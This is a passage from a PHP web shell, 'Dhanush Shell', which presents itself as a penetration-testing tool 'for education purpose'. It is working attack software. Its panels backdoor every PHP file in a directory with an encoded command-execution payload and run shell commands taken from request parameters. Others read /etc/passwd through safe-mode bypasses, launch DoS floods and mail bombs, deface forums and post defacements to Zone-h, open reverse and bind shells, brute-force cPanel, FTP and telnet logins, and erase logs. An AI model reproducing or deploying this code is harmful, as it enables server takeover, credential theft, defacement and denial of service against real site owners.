3110 <td style="width:20%;">To</td>
3111 <td style="width:80%;"><input class="box" class="box" name="to" value="victim@domain.com,victim2@domain.com" onFocus="if(this.value == 'victim@domain.com,victim2@domain.com')this.value = '';" onBlur="if(this.value=='')this.value='victim@domain.com,victim2@domain.com';"/></td>
3112 </tr>
3113
3114 <tr>
3115 <td style="width:20%;">Subject</td>
3116 <td style="width:80%;"><input type="text" class="box" name="subject" value="AFGHAN G33KS" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
3117 </tr>
3118
3119
3120 <tr>
3121 <td colspan="2">
3122 <textarea name="message" cols="110" rows="10" class="box">AFGHAN G33KS</textarea>
3123 </td>
3124 </tr>
3125
3126
3127 <tr>
3128 <td rowspan="2">
3129 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="sendmail('massmailing',to.value,subject.value,message.value,from.value)" class="but" value=" Send! "/>
3130 </td>
3131 </tr>
3132 </table>
3133 </form></div>
3134 <?php
3135}
3136// Get Domains
3137else if(isset($_REQUEST["symlinkserver"]))
3138{
3139 ?>
3140 <center><table><tr>
3141 <td><a href=javascript:void(0) onClick="getdata('domains')"><font class=txt><b>| Get Domains |</b></font></a></td>
3142 <td><a href=javascript:void(0) onClick="getdata('symlink')"><font class=txt><b>| Symlink Server |</b></font></a></td>
3143 <td><a href=javascript:void(0) onClick="getdata('symlinkfile')"><font class=txt><b>| Symlink File |</b></font></a></td>
3144 <td><a href=javascript:void(0) onClick="getdata('script')"><font class=txt><b>| Script Locator |</b></font></a></td>
3145 </tr></table></center><br>
3146 <div id="showdata"></div><?php
3147}
3148// Forum Manager
3149else if(isset($_REQUEST["forum"]))
3150{ ?>
3151 <center><table><tr><td><a href=# onClick="getdata('defaceforum')"><font class=txt size="4">| Forum Defacer |</font></a></td>
3152 <td><a href=# onClick="getdata('passwordchange')"><font class=txt size="4">| Forum Password Changer |</font></a></td>
3153 </tr></table></center><br><div id="showdata"></div>
3154 <?php
3155}
3156// Sec info
3157else if(isset($_GET['secinfo']))
3158{ ?><div id=showdata></div>
3159<center><div id="showmydata"></div>
3160</center>
3161<br><center><font color =red size=5>Server security information</font><br><br></center>
3162 <table style="width:100%;border-color:#333333;" border="1">
3163 <tr>
3164 <td style="width:7%;">Curl</td>
3165 <td style="width:7%;">Oracle</td>
3166 <td style="width:7%;">MySQL</td>
3167 <td style="width:7%;">MSSQL</td>
3168 <td style="width:7%;">PostgreSQL</td>
3169 <td style="width:12%;">Open Base Directory</td>
3170 <td style="width:10%;">Safe_Exec_Dir</td>
3171 <td style="width:7%;">PHP Version</td>
3172 <td style="width:7%;">Magic Quotes</td>
3173 <td style="width:7%;">Server Admin</td>
3174 </tr>
3175 <tr>
3176 <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
3177 <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
3178 <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
3179 <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
3180 <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
3181 <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
3182 <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "<font >NONE</font></b>";}else {echo "<font color=green>$df</font></b>";};} ?></font></td>
3183 <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
3184 <td style="width:7%;"><font class="txt"><?php magic_quote(); ?></font></td>
3185 <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
3186 </tr>
3187</table><br> <?php
3188 mysecinfo();
3189}
3190// Code Injector
3191
3192else if(isset($_GET['injector']))
3193{
3194 ?>
3195 <form method='POST'>
3196 <table id="margins">
3197 <tr>
3198 <td width="100" class="title">
3199 Directory
3200 </td>
3201 <td>
3202 <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
3203 </td>
3204
3205 </tr>
3206 <tr>
3207 <td class="title">
3208 Mode
3209 </td>
3210 <td>
3211 <select style="width: 400px;" name="mode" class="box">
3212 <option value="Apender">Apender</option>
3213 <option value="Overwriter">Overwriter</option>
3214 </select>
3215 </td>
3216 </tr>
3217 <tr>
3218 <td class="title">
3219 File Type
3220 </td>
3221 <td>
3222 <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
3223 </td>
3224 </tr>
3225 <tr>
3226 <td>Create A backdoor by injecting this code in every php file of current directory</td>
3227 </tr>
3228
3229 <tr>
3230 <td colspan="2">
3231 <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
3232 </td>
3233 </tr>
3234 <tr>
3235 <td rowspan="2">
3236 <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="button" onClick="codeinjector(pathtomass.value,mode.value,filetype.value,injectthis.value)" class="but" value="Inject "/>
3237 </td>
3238 </tr>
3239 </form>
3240 </table><div id="showinject"</div>
3241 <?php
3242}
3243// Bypass
3244else if(isset($_GET["bypass"]))
3245{
3246 ?><center><div id="showbyp"></div></center>
3247 <table cellpadding="7" align="center" border="3" style="width:70%;border-color:#333333;">
3248 <tr>
3249 <td align="center" colspan="2"><font color="#FF0000" size="3">Safe mode bypass</font></td>
3250 </tr>
3251 <tr>
3252 <td align="center">
3253 <p>Using copy() function</p>
3254 <form onSubmit="bypassfun('copy',copy.value);return false;">
3255 <input type="text" name="copy" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('copy',copy.value)" value="bypass" class="but">
3256 </form>
3257 </td>
3258 <td align="center">
3259 <p>Using imap() function</p>
3260 <form onSubmit="bypassfun('imap',imap.value);return false;">
3261 <input type="text" name="imap" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('imap',imap.value)" value="bypass" class="but">
3262 </form>
3263 </td>
3264 </tr>
3265
3266 <tr>
3267 <td align="center">
3268 <p>Using sql() function</p>
3269 <form onSubmit="bypassfun('sql',sql.value);return false;">
3270 <input type="text" name="sql" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('sql',sql.value)" value="bypass" class="but">
3271 </form>
3272 </td>
3273 <td align="center">
3274 <p>Using Curl() function</p>
3275 <form onSubmit="bypassfun('curl',curl.value);return false;">
3276 <input type="text" name="curl" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('curl',curl.value)" value="bypass" class="but">
3277 </form>
3278 </td>
3279 </tr>
3280
3281 <tr>
3282 <td align="center">
3283 <p>Bypass using include()</p>
3284 <form onSubmit="bypassfun('include',include.value);return false;">
3285 <input type="text" name="include" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('include',include.value)" value="bypass" class="but">
3286 </form>
3287 </td>
3288 <td align="center">
3289 <p>Using id() function</p>
3290 <form onSubmit="bypassfun('id',id.value);return false;">
3291 <input type="text" name="id" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('id',id.value)" value="bypass" class="but">
3292 </form>
3293 </td>
3294 </tr>
3295
3296 <tr>
3297 <td align="center">
3298 <p>Using tempnam() function</p>
3299 <form onSubmit="bypassfun('tempnam',tempname.value);return false;">
3300 <input type="text" name="tempname" value="../../../etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('tempnam',tempname.value)" value="bypass" class="but">
3301 </form>
3302 </td>
3303 <td align="center">
3304 <p>Using symlink() function</p>
3305 <form onSubmit="bypassfun('symlnk',sym.value);return false;">
3306 <input type="text" name="sym" value="/etc/passwd" class="sbox"> <input type="button" OnClick="bypassfun('symlnk',sym.value)" value="bypass" class="but">
3307 </form>
3308 </td>
3309 </tr>
3310 <tr>
3311 <td colspan=2 align="center">
3312 <p>Using Bypass function</p>
3313 <form onSubmit="bypassfun('newtype',newtype.value,optiontype.value);return false;">
3314 <input type="text" name="newtype" value="/etc/passwd" class="sbox">
3315 <select id="optiontype" class=sbox>
3316 <option value="tac">tac</option>
3317 <option value="more">more</option>
3318 <option value="less">less</option>
3319 <option value="rev">rev</option>
3320 <option value="xxd">xxd</option>
3321 </select>
3322 <input type="button" OnClick="bypassfun('newtype',newtype.value,optiontype.value)" value="bypass" class="but">
3323 </form>
3324 </td>
3325 </tr>
3326 </table>
3327 </form>
3328 <?php
3329}
3330//fuzzer
3331else if(isset($_GET['fuzz']))
3332{
3333 ?>
3334 <form method="GET">
3335 <table id="margins">
3336 <tr>
3337 <td width="400" class="title">
3338 IP
3339 </td>
3340 <td>
3341 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3342 </td>
3343 </tr>
3344
3345 <tr>
3346 <td class="title">
3347 Port
3348 </td>
3349 <td>
3350 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3351 </td>
3352 </tr>
3353
3354 <tr>
3355 <td class="title">
3356 Timeout
3357 </td>
3358 <td>
3359 <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
3360 </td>
3361 </tr>
3362
3363
3364 <tr>
3365 <td class="title">
3366 No of times
3367 </td>
3368 <td>
3369 <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
3370 </td>
3371 </tr>
3372
3373 <tr>
3374 <td class="title">
3375 Message (The message Should be long and it will be multiplied with the value after it)
3376 </td>
3377 <td>
3378 <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
3379 </td>
3380 <td>
3381 x
3382 </td>
3383 <td width="20">
3384 <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
3385 </td>
3386 </tr>
3387
3388 <tr>
3389 <td rowspan="2">
3390 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('fuzzer',myip.value,port.value,time.value,times.value,message.value,messageMultiplier.value)" class="but" value=" Submit "/>
3391 </td>
3392 </tr>
3393 </table>
3394 </form><div id="showdos"></div>
3395 <?php
3396}
3397// Zone-h Poster
3398 else if(isset($_GET["zone"]))
3399 {
3400 if(!function_exists('curl_version'))
3401 {
3402 echo "<pre style='margin-top:5px'><center><font >PHP CURL NOT EXIST</font></center></pre>";
3403 }
3404 ?>
3405 <center><font size="4" color="#FF0000">Zone-h Poster</font></center>
3406 <form action="<?php echo $self; ?>" method="post">
3407 <table align="center" cellpadding="5" border="0">
3408 <tr>
3409 <td>
3410 <input type="text" name="defacer" value="Attacker" class="box" /></td></tr>
3411 <tr><td>
3412 <select name="hackmode" class="box">
3413 <option >--------SELECT--------</option>
3414 <option value="1">known vulnerability (i.e. unpatched system)</option>
3415 <option value="2" >undisclosed (new) vulnerability</option>
3416 <option value="3" >configuration / admin. mistake</option>
3417 <option value="4" >brute force attack</option>
3418 <option value="5" >social engineering</option>
3419 <option value="6" >Web Server intrusion</option>
3420 <option value="7" >Web Server external module intrusion</option>
3421 <option value="8" >Mail Server intrusion</option>
3422 <option value="9" >FTP Server intrusion</option>
3423 <option value="10" >SSH Server intrusion</option>
3424 <option value="11" >Telnet Server intrusion</option>
3425 <option value="12" >RPC Server intrusion</option>
3426 <option value="13" >Shares misconfiguration</option>
3427 <option value="14" >Other Server intrusion</option>
3428 <option value="15" >SQL Injection</option>
3429 <option value="16" >URL Poisoning</option>
3430 <option value="17" >File Inclusion</option>
3431 <option value="18" >Other Web Application bug</option>
3432 <option value="19" >Remote administrative panel access bruteforcing</option>
3433 <option value="20" >Remote administrative panel access password guessing</option>
3434 <option value="21" >Remote administrative panel access social engineering</option>
3435 <option value="22" >Attack against administrator(password stealing/sniffing)</option>
3436 <option value="23" >Access credentials through Man In the Middle attack</option>
3437 <option value="24" >Remote service password guessing</option>
3438 <option value="25" >Remote service password bruteforce</option>
3439 <option value="26" >Rerouting after attacking the Firewall</option>
3440 <option value="27" >Rerouting after attacking the Router</option>
3441 <option value="28" >DNS attack through social engineering</option>
3442 <option value="29" >DNS attack through cache poisoning</option>
3443 <option value="30" >Not available</option>
3444 </select>
3445 </td></tr>
3446 <tr><td>
3447 <select name="reason" class="box">
3448 <option >--------SELECT--------</option>
3449 <option value="1" >Heh...just for fun!</option>
3450 <option value="2" >Revenge against that website</option>
3451 <option value="3" >Political reasons</option>
3452 <option value="4" >As a challenge</option>
3453 <option value="5" >I just want to be the best defacer</option>
3454 <option value="6" >Patriotism</option>
3455 <option value="7" >Not available</option>
3456 </select></td></tr>
3457 <tr><td>
3458 <textarea name="domain" class="box" cols="47" rows="9">List Of Domains</textarea></td></tr>
3459 <tr><td>
3460 <input type="button" onClick="zoneh(defacer.value,hackmode.value,reason.value,domain.value)" class="but" value="Send Now !" /></td></tr></table>
3461 </form><div id="showzone"></div>
3462 <?php }
3463//DDos
3464 else if(isset($_GET['dos']))
3465 {
3466 ?>
3467 <form method="GET">
3468 <table id="margins">
3469 <tr>
3470 <td width="400" class="title">
3471 IP
3472 </td>
3473 <td>
3474 <input class="box" name="myip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
3475 </td>
3476 </tr>
3477
3478 <tr>
3479 <td class="title">
3480 Port
3481 </td>
3482 <td>
3483 <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
3484 </td>
3485 </tr>
3486
3487 <tr>
3488 <td class="title">
3489 Timeout <font >(Time in seconds)</font>
3490 </td>
3491 <td>
3492 <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
3493 </td>
3494 </tr>
3495 <tr>
3496 <td class="title">
3497 Execution Time <font >(Time in seconds)</font>
3498 </td>
3499 <td>
3500 <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
3501 </td>
3502 </tr>
3503 <tr>
3504 <td class="title">
3505 No of Bytes per/packet
3506 </td>
3507 <td>
3508 <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
3509 </td>
3510 </tr>
3511 <tr>
3512 <td rowspan="2">
3513 <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="button" onClick="dos('dosser',myip.value,port.value,timeout.value,exTime.value,noOfBytes.value,'null')" class="but" value=" Attack >> "/>
3514 </td>
3515 </tr>
3516 </table>
3517 </form><div id="showdos"></div>
3518 <?php
3519}
3520else if(isset($_GET['mailbomb']))
3521{ ?>
3522 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('bomb')"><font class=txt size="4">| Mail Bomber |</font></a></td>
3523 <td><a href=javascript:void(0) onClick="getdata('mail')"><font class=txt size="4">| Mass Mailer |</font></a></td></tr></table></center><br><div id=showdata></div>
3524<?php
3525}
3526else if(isset($_GET['tools']))
3527 {
3528 ?>
3529 <center><br><form onSubmit="getport(host.value,protocol.value);return false;">
3530 <table cellpadding="5" border="3" style="border-color:#333333; width:50%;">
3531 <tr>
3532 <td colspan="2" align="center"><b><font size='4' color="#FF0000">Port Scanner<br></font></b></td>
3533 </tr>
3534 <tr>
3535 <td align="center">
3536 <input class="sbox" type='text' name='host' value='<?php echo $_SERVER["SERVER_ADDR"]; ?>' >
3537 </td>
3538 <td align="center">
3539 <select class="sbox" name='protocol'>
3540 <option value='tcp'>tcp</option>
3541 <option value='udp'>udp</option>
3542 </select>
3543 </td>
3544 <tr>
3545 <td colspan="2" align="center"><input class="but" type='button' onClick="getport(host.value,protocol.value)" value='Scan Ports'></td>
3546 </tr>
3547 </form>
3548 <tr><td colspan=2><div id="showports"></div>
3549 </td></tr></table>
3550
3551 <br>
3552 <form onSubmit="bruteforce(prototype.value,serverport.value,login.value,dict.value);return false;">
3553 <table cellpadding="5" border="2" style="border-color:#333333; width:50%;">
3554 <tr>
3555 <td colspan="2" align="center"><font size="4">BruteForce</font></td>
3556 </tr>
3557 <tr>
3558 <td>Type : </td>
3559 <td>
3560 <select name="prototype" class="sbox">
3561 <option value="ftp">FTP</option>
3562 <option value="mysql">MYSQL</option>
3563 <option value="postgresql">PostgreSql</option>
3564 </select>
3565 </td>
3566 </tr>
3567 <tr>
3568 <td>Server <b>:</b> Port : </td>
3569 <td><input type="text" name="serverport" value="<?php echo $_SERVER["SERVER_ADDR"]; ?>" class="sbox"></td>
3570 </tr>
3571 <tr>
3572 <td valign="middle">Brute type : </td>
3573 <td><label><input type=radio name=mytype value="1" checked> /etc/passwd</label><label><input type=checkbox id="reverse" name=reverse value=1 checked> reverse (login -> nigol)</label><hr color="#1B1B1B">
3574 <label><input type=radio name=mytype value="2"> Dictionary</label><br>
3575 Login : <input type="text" name="login" value="root" class="sbox"><br>
3576 Dictionary : <input type="text" name="dict" value="<?php echo getcwd() . $directorysperator; ?>passwd.txt" class="sbox">
3577 </td>
3578 </tr>
3579 <tr>
3580 <td colspan="2" align="center"><input type="button" onClick="bruteforce(prototype.value,serverport.value,login.value,dict.value)" value="Attack >>" class="but"></td>
3581 </tr>
3582 </form><tr><td colspan="2" id="showbrute"></td></tr>
3583 </table>
3584 </center><br>
3585 <?php
3586}
3587else if (isset($_GET["phpc"]))
3588{
3589 ?>
3590 <div id="showresult"></div>
3591 <form name="frm">
3592 <textarea name="code" class="box" cols="120" rows="10">phpinfo();</textarea>
3593 <br /><br />
3594 <input name="submit" value="Execute This COde! " class="but" onClick="execode(code.value)" type="button" />
3595 <label><input type="checkbox" id="intext" name="intext" value="disp"> <font class=txt size="3">Display in Textarea</font></label>
3596 </form>
3597 <?php
3598}
3599else if(isset($_GET["exploit"]))
3600{
3601 if(!isset($_GET["rootexploit"]))
3602 {
3603 ?>
3604 <center>
3605 <form action="<?php echo $self; ?>" method="get" target="_blank">
3606 <input type="hidden" name="exploit">
3607 <table border="1" cellpadding="5" cellspacing="4" style="width:50%;border-color:#333333;">
3608 <tr>
3609 <td style="height:60px;">
3610 <font size="4" class=txt>Select Website</font></td><td>
3611 <p><select id="rootexploit" name="rootexploit" class="box">
3612 <option value="exploit-db">Exploit-db</option>
3613 <option value="packetstormsecurity">Packetstormsecurity</option>
3614 <option value="exploitsearch">Exploitsearch</option>
3615 <option value="shodanhq">Shodanhq</option>
3616 </select></p></td></tr><tr><td colspan="2" align="center" style="height:40px;">
3617 <input type="submit" value="Search" class="but"></td></tr></table>
3618 </form></center><br>
3619
3620 <?php
3621 }
3622 else
3623 {
3624 //exploit search
3625 $Lversion = php_uname(r);
3626 $OSV = php_uname(s);
3627 if(eregi('Linux',$OSV))
3628 {
3629 $Lversion=substr($Lversion,0,6);
3630 if($_GET['rootexploit'] == "exploit-db")
3631 {
3632 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=Linux+Kernel+$Lversion");
3633 }
3634 else if($_GET['rootexploit'] == "packetstormsecurity")
3635 {
3636 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=Linux+Kernel+$Lversion");
3637 }
3638 else if($_GET['rootexploit'] == "exploitsearch")
3639 {
3640 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=Linux+Kernel+$Lversion");
3641 }
3642 else if($_GET['rootexploit'] == "shodanhq")
3643 {
3644 header("Location:http://www.shodanhq.com/exploits?q=Linux+Kernel+$Lversion");
3645 }
3646 }
3647 else
3648 {
3649 $Lversion=substr($Lversion,0,3);
3650 if($_GET['rootexploit'] == "exploit-db")
3651 {
3652 header("Location:http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=$OSV+Lversion");
3653 }
3654 else if($_GET['rootexploit'] == "packetstormsecurity")
3655 {
3656 header("Location:http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?searchvalue=$OSV+Lversion");
3657 }
3658 else if($_GET['rootexploit'] == "exploitsearch")
3659 {
3660 header("Location:http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q=$OSV+Lversion");
3661 }
3662 else if($_GET['rootexploit'] == "shodanhq")
3663 {
3664 header("Location:http://www.shodanhq.com/exploits?q=$OSV+Lversion");
3665 }
3666 }
3667 //End of Exploit search
3668 }
3669}
3670// Connect
3671else if(isset($_REQUEST['connect']))
3672{
3673 ?>
3674 <form action='<?php echo $self; ?>' method='POST' >
3675 <table style="width:50%" align="center" >
3676 <tr>
3677 <th colspan="1" width="50px">Reverse Shell</th>
3678 <th colspan="1" width="50px">Bind Shell</th>
3679 </tr>
3680 <tr>
3681 <td>
3682 <table style="border-spacing: 6px;">
3683 <tr>
3684 <td>IP </td>
3685 <td>
3686 <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
3687 </td>
3688 </tr>
3689 <tr>
3690 <td>Port </td>
3691 <td><input style="width: 200px;" class="box" name="port" size='5' value="9891"/></td>
3692 </tr>
3693 <tr>
3694 <td style="vertical-align:top;">Use:</td>
3695 <td><select style="width: 95px;" name="lang" class="sbox">
3696 <option value="perl">Perl</option>
3697 <option value="python">Python</option>
3698 <option value="php">PHP</option>
3699 </select>
3700 <input type="submit" style="width: 90px;" class="but" value="Connect!" name="backconnect"/></td>
3701 </tr>
3702 </table> </form>
3703 </td>
3704
3705 <td style="vertical-align:top;">
3706 <form method='post' >
3707 <table style="border-spacing: 6px;">
3708 <tr>
3709 <td>Port</td>
3710 <td>
3711 <input style="width: 200px;" class="box" name="port" value="9891" />
3712 </td>
3713 </tr>
3714 <tr>
3715 <td>Password </td>
3716 <td>
3717 <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
3718 </td>
3719 <tr>
3720 <td>Using</td>
3721 <td>
3722 <select style="width: 95px;" name="lang" id="lang" class="sbox">
3723 <option value="perl">Perl</option>
3724 <option value="c">C</option>
3725 </select>
3726 <input style="width: 90px;" class="but" type="submit" name="backdoor" value=" Bind "/></td>
3727 </tr>
3728 </table>
3729 </td>
3730 </form>
3731 </tr>
3732 <tr><td colspan=2><font color="#FF0000">Click "Connect" only after open port for it.Use NetCat, run "nc -l -n -v -p 9891"!<br>Click "Bind", use netcat and give it the command 'nc <?php yourip(); ?> 9891"!</font></td></tr>
3733 </table>
3734
3735 <?php
3736 }
3737
3738else if(isset($_REQUEST['404']))
3739{
3740 ?>
3741 <center><table><tr><td><a href=javascript:void(0) onClick="getdata('404new')"><font class=txt size="4">| Set Your 404 Page |</font></a></td>
3742 <td><a href=javascript:void(0) onClick="getdata('404page')"><font class=txt size="4">| Set Specified 404 Page |</font></a></td>
3743 </tr></table></center><br>
3744 <div id="showdata"></div>
3745 <?php
3746}
3747else if(isset($_GET['about']))
3748 { ?>
3749 <center>
3750 <p><font size=6><u>A H K H A N</u></font><br>
3751 <font size=5>[--==Coded By D4RK N1NJ4 | ==--]</font>
3752 <div style='font-family: Courier New; font-size: 10px;'><font class=txt ><pre>
3753
3754 - -- -
3755 -- -- --
3756 -- --
3757 --- ---
3758 ------
3759 ----
3760 ----
3761 ------
3762-------
3763--- --
3764 -- ---
3765 -- -----
3766 --- --- ---
3767 --- --- ---
3768-- --------- --
3769-- ------- --
3770 -- ---- --
3771 -- --- --
3772 -- -- --
3773 --- --- -- ---
3774 ------ ------
3775 ---- ----
3776
3777
3778 </pre></font></div></center>
3779 <font class="txt">Dhanush Shell is a PHP Script, created for checking the vulnerability and security of any web server or website. With this PHP script, the owner can check various vulnerablities present in the web server. This shell provide you almost every facility that the security analyst need for penetration testing. This is a "All In One" php script, so that the user do not need to go anywhere else.<br> This script is coded by D4RK N1NJ4.<br> This script is only coded for education purpose or testing on your own server.The developer of the script is not responsible for any damage or misuse of it</font><br><br><center><font size=5>GREETZ To All Indian Hackers</font><br><font size=6>| जय महाकाल | | जय हिन्द |</font></center><br>
3780 <?php }
3781else if(isset($_GET['database']))
3782{ ?>
3783 <form onSubmit="mydatabase(server.value,username.value,password.value);return false;">
3784 <table id="datatable" style="width:90%;" cellpadding="4" align="center">
3785 <tr>
3786 <td colspan="2">Connect To Database</td>
3787 </tr>
3788 <tr>
3789 <td>Server Address :</td>
3790 <td><input type="text" class="box" name="server" value="localhost"></td>
3791 </tr>
3792 <tr>
3793 <td>Username :</td>
3794 <td><input type="text" class="box" name="username" value="root"></td>
3795 </tr>
3796 <tr>
3797 <td>Password:</td>
3798 <td><input type="text" class="box" name="password" value=""></td>
3799 </tr>
3800
3801 <tr>
3802 <td></td>
3803 <td><input type="button" onClick="mydatabase(server.value,username.value,password.value)" value=" Connect " name="executeit" class="but"></td>
3804 </tr>
3805 </table>
3806 </form>
3807 <div id="showsql"></div>
3808<?php
3809}
3810// Cpanel Cracker
3811 else if(isset($_REQUEST['cpanel']))
3812 {
3813 $cpanel_port="2082";
3814 $connect_timeout=5;
3815 ?>
3816 <center>
3817 <form method=post>
3818 <table style="width:50%;border-color:#333333;" border=1 cellpadding=4>
3819 <tr>
3820 <td align=center colspan=2>Target : <input type=text name="server" value="localhost" class=sbox></td>
3821 </tr>
3822 <tr>
3823 <td align=center>User names</td><td align=center>Password</td>
3824 </tr>
3825 <tr>
3826 <td align=center><textarea name=username rows=25 cols=22 class=box><?php
3827 if($os != "Windows")
3828 {
3829 if(@file('/etc/passwd'))
3830 {
3831 $users = file('/etc/passwd');
3832 foreach($users as $user)
3833 {
3834 $user = explode(':', $user);
3835 echo $user[0] . "\n";
3836 }
3837 }
3838 else
3839 {
3840 $temp = "";
3841 $val1 = 0;
3842 $val2 = 1000;
3843 for(;$val1 <= $val2;$val1++)
3844 {
3845 $uid = @posix_getpwuid($val1);
3846 if ($uid)
3847 $temp .= join(':',$uid)."\n";
3848 }
3849
3850 $temp = trim($temp);
3851
3852 if($file5 = fopen("test.txt","w"))
3853 {
3854 fputs($file5,$temp);
3855 fclose($file5);
3856
3857 $file = fopen("test.txt", "r");
3858 while(!feof($file))
3859 {
3860 $s = fgets($file);
3861 $matches = array();
3862 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
3863 $matches = str_replace("home/","",$matches[1]);
3864 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
3865 continue;
3866 echo $matches;
3867 }
3868 fclose($file);
3869 }
3870 }
3871 }
3872
3873 ?></textarea></td><td align=center><textarea name=password rows=25 cols=22 class=box></textarea></td>
3874 </tr>
3875 <tr>
3876 <td align=center colspan=2>Guess options : <label><input name="cracktype" type="radio" value="cpanel" checked> Cpanel(2082)</label><label><input name="cracktype" type="radio" value="ftp"> Ftp(21)</label><label><input name="cracktype" type="radio" value="telnet"> Telnet(23)</label></td>
3877 </tr>
3878 <tr>
3879 <td align=center colspan=2>Timeout delay : <input type="text" name="delay" value=5 class=sbox></td>
3880 </tr>
3881 <tr>
3882 <td align=center colspan=2><input type="submit" name="cpanelattack" value=" Go " class=but></td>
3883 </tr>
3884 </table>
3885 </form>
3886 </center>
3887 <?php
3888}
3889else if(isset($_REQUEST['malattack']))
3890{
3891 ?><input type="hidden" id="malpath" value="<?php echo $_GET["dir"]; ?>">
3892 <center><table><tr><td><a href=# onClick="getdata('malware')"><font class=txt size="4">| Malware Attack |</font></a></td>
3893 <td><a href=# onClick="getdata('codeinsert')"><font class=txt size="4">| Insert Own Code |</font></a></td></tr></table></center><br>
3894 <div id="showdata"></div>
3895 <?php
3896}
3897else if(isset($_GET["com"]))
3898{
3899 echo "<br>";
3900 ob_start();
3901 eval("phpinfo();");
3902 $b = ob_get_contents();
3903 ob_end_clean();
3904 $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
3905 $z = strpos($b,"</body>");
3906 $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
3907 echo $s_result;
3908}
3909else if(isset($_GET['execute']))
3910{
3911 $comm = $_GET['execute'];
3912 chdir($_GET['executepath']);
3913 $check = shell_exec($comm);
3914
3915 echo "<center><textarea id=showexecute cols=120 rows=20 class=box>" . $check . "</textarea></center>";
3916
3917 ?>
3918 <BR><BR><center><form onSubmit="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value);return false;">
3919 <input type="text" class="box" name="execute">
3920 <input type="button" onClick="executemyfn('<?php echo addslashes($_GET['executepath']); ?>',execute.value)" value="Execute" class="but"></form></center>
3921 <?php
3922}
3923else if(isset($_GET['mycmd']))
3924{
3925 if($_GET['mycmd']=="logeraser")
3926 {
